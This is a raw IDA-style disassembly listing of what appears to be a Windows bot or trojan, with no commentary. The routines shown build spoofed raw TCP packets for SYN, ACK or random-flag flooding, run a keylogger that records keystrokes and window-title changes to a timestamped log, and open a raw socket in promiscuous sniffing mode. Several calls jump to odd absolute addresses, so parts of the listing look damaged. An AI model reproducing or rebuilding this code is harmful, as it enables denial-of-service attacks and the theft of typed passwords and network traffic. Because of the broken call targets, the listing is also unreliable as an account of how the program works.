		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43AD98
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43AD98
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2630B98h
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 263093Eh
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_401BA1:				; CODE XREF: sub_401A76+25Dj
					; sub_401A76+26Bj
		mov	[ebp+var_24], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_34], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401CE6
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 263093Eh
		nop
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401D0F
		jl	loc_401BA1
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401D0F
		jmp	loc_401BA1
; ---------------------------------------------------------------------------


loc_401CE6:				; CODE XREF: sub_401A76+247j
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4262B8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_401D12
; ---------------------------------------------------------------------------


loc_401D0F:				; CODE XREF: sub_401A76+25Bj
					; sub_401A76+269j
		mov	ebx, [ebp+arg_8]


loc_401D12:				; CODE XREF: sub_401A76+78j
					; sub_401A76+297j
		push	[ebp+var_C]
		call	dword_43AE30
		pop	esi


loc_401D1C:				; CODE XREF: sub_401A76+5Bj
		call	dword_43ACF8
		mov	eax, ebx


loc_401D24:				; CODE XREF: sub_401A76+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_401A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D28	proc near		; CODE XREF: sub_4019D7+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_401A76
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401D73
		push	1
		pop	eax


loc_401D73:				; CODE XREF: sub_401D28+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D82	proc near		; DATA XREF: sub_40EE72+2D38o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_424058
		call	edi
		push	eax
		call	sub_417302
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401E4B
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_42642C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401E2B
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401E2B:				; CODE XREF: sub_401D82+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26302E2h
		nop


loc_401E4B:				; CODE XREF: sub_401D82+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401EC9
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4263E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401EA9
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401EA9:				; CODE XREF: sub_401D82+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_401EC9:				; CODE XREF: sub_401D82+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401F39
		lea	eax, [ebp+var_440]
		push	offset dword_4263B4
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401F19
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_401F19:				; CODE XREF: sub_401D82+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26302E2h
		nop


loc_401F39:				; CODE XREF: sub_401D82+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi
		mov	[ebp+var_30], eax


loc_401F71:				; CODE XREF: sub_401D82+430j
		call	edi
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402235
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43AD98
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401FE4
		call	sub_41730C
		mov	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		shl	esi, 8
		call	sub_41730C
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401FFA
; ---------------------------------------------------------------------------


loc_401FE4:				; CODE XREF: sub_401D82+233j
		push	[ebp+var_240]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax


loc_401FFA:				; CODE XREF: sub_401D82+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_402018
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_40201E
; ---------------------------------------------------------------------------


loc_402018:				; CODE XREF: sub_401D82+284j
		push	[ebp+var_B8]


loc_40201E:				; CODE XREF: sub_401D82+294j
		call	dword_43AD98
		mov	[ebp+var_16], ax
		call	sub_41730C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43AD94
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40206E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40206E:				; CODE XREF: sub_401D82+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40208E
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_4020CA
; ---------------------------------------------------------------------------


loc_40208E:				; CODE XREF: sub_401D82+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4020CA
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_4020CA:				; CODE XREF: sub_401D82+2EAj
					; sub_401D82+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43AD98
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43AD98
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4021B7
		inc	[ebp+arg_0]
		jmp	loc_401F71
; ---------------------------------------------------------------------------


loc_4021B7:				; CODE XREF: sub_401D82+42Bj
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_426344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402215
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_402215:				; CODE XREF: sub_401D82+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h


loc_402235:				; CODE XREF: sub_401D82+203j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4262E4
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4022A6
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40D679
		add	esp, 14h


loc_4022A6:				; CODE XREF: sub_401D82+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_BC]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
sub_401D82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022C6	proc near		; CODE XREF: sub_4023A7+B4p
					; sub_4023A7+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		nop
		call	near ptr 264047Bh
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_114]
		push	offset asc_426C1C ; "\\"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset dword_42F688
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_40232D
		push	1
		pop	eax
		jmp	short loc_4023A4
; ---------------------------------------------------------------------------


loc_40232D:				; CODE XREF: sub_4022C6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_417956
		push	esi
		call	sub_417900
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4023A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_426BDC
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h


loc_4023A2:				; CODE XREF: sub_4022C6+A3j
		xor	eax, eax


loc_4023A4:				; CODE XREF: sub_4022C6+65j
		pop	esi
		leave
		retn
sub_4022C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4023A7	proc near		; DATA XREF: sub_40EE72+1F95o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		mov	ebx, 200h


loc_402402:				; CODE XREF: sub_4023A7+2C7j
		push	8
		nop
		call	near ptr 2630F90h
		call	dword_43AD20
		cmp	eax, [ebp+var_8]
		jz	short loc_40248A
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch


loc_40248A:				; CODE XREF: sub_4023A7+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_402491:				; CODE XREF: sub_4023A7+2BDj
		push	10h
		call	dword_43AC78
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43AD64
		test	ah, 80h
		jz	short loc_402529
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_4024DA
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4024DA
		cmp	edi, 40h
		jle	short loc_4024DA
		cmp	edi, 5Bh
		jge	short loc_4024DA
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_4024DA:				; CODE XREF: sub_4023A7+112j
					; sub_4023A7+117j ...
		push	14h
		call	dword_43AC78
		test	ax, ax
		jz	short loc_402505
		test	esi, esi
		jge	short loc_402519
		cmp	edi, 40h
		jle	short loc_402505
		cmp	edi, 5Bh
		jge	short loc_402505
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402505:				; CODE XREF: sub_4023A7+13Ej
					; sub_4023A7+147j ...
		test	esi, esi
		jge	short loc_402519
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_4023A7+142j
					; sub_4023A7+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_4023A7+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_402659
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_402561
		call	sub_417AB0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_402659
; ---------------------------------------------------------------------------


loc_402561:				; CODE XREF: sub_4023A7+1A5j
		call	sub_417AB0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_402593
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------


loc_402593:				; CODE XREF: sub_4023A7+1C5j
		cmp	edi, 0Dh
		jnz	loc_40262B
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jz	loc_402659
		call	dword_43AD20
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43AD34
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_4025D4:				; CODE XREF: sub_4023A7+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4172B0
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4022C6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_402659
; ---------------------------------------------------------------------------


loc_40262B:				; CODE XREF: sub_4023A7+1EFj
		cmp	esi, 1
		jz	short loc_402644
		cmp	esi, 3
		jz	short loc_402644
		cmp	esi, 2
		jz	short loc_40263F
		cmp	esi, 4
		jnz	short loc_402659


loc_40263F:				; CODE XREF: sub_4023A7+291j
		push	[ebp+arg_0]
		jmp	short loc_40264B
; ---------------------------------------------------------------------------


loc_402644:				; CODE XREF: sub_4023A7+287j
					; sub_4023A7+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40264B:				; CODE XREF: sub_4023A7+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4179D0
		pop	ecx
		pop	ecx


loc_402659:				; CODE XREF: sub_4023A7+12Ej
					; sub_4023A7+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_426BA4
		jl	loc_402491
		cmp	[ebp+var_4], 0
		jz	loc_402402
		push	[ebp+var_D8]
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 26302E2h
		nop
sub_4023A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402688	proc near		; DATA XREF: sub_40EE72+1DDBo

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_417B30
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43AD98
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_40275D
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427604
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402740
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402740:				; CODE XREF: sub_402688+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h


loc_40275D:				; CODE XREF: sub_402688+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4027E2
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4275C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BE
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4027BE:				; CODE XREF: sub_402688+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h


loc_4027E2:				; CODE XREF: sub_402688+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43AD44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402865
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_427578
		push	eax
		call	sub_4172B0
